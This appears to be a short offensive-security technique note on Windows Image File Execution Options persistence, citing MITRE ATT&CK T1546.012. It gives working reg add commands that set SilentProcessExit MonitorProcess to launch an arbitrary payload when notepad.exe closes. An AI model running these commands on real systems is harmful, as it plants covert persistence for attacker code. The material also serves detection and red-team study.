Image File Execution Options (IFEO) Persistence
>-
Theory
Image File Execution Options (IFEO) is a Windows registry key designed for developers to attach a debugger to an application and enable debugging features such as GlobalFlag. However, this functionality can be abused for persistence by specifying an arbitrary executable as the debugger for a target process or by using the MonitorProcess feature.
In both cases, code execution is achieved, with the trigger being either the creation of the specified process or the termination of an application. Notably, implementing this technique requires Administrator privileges, as modifications must be made under the HKLM registry hive.
Practice
By editing Image File Execution Options, the original exe will not start
With the GlobalFlag persistence technique, payload is triggered when the target application is closed.
#Enables the silent exit monitoring for the notepad process.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
#Enables the Windows Error Reporting process (WerFault.exe) which will be the parent process of the “MonitorProcess”
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
#Set up the arbitrary payload
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\payload.exe"Resources
Persistence \u2013 Image File Execution Options Injectionpentestlab.blog
Event Triggered Execution: Image File Execution Options Injection, Sub-technique T1546.012 - Enterprise | MITRattack.mitre.org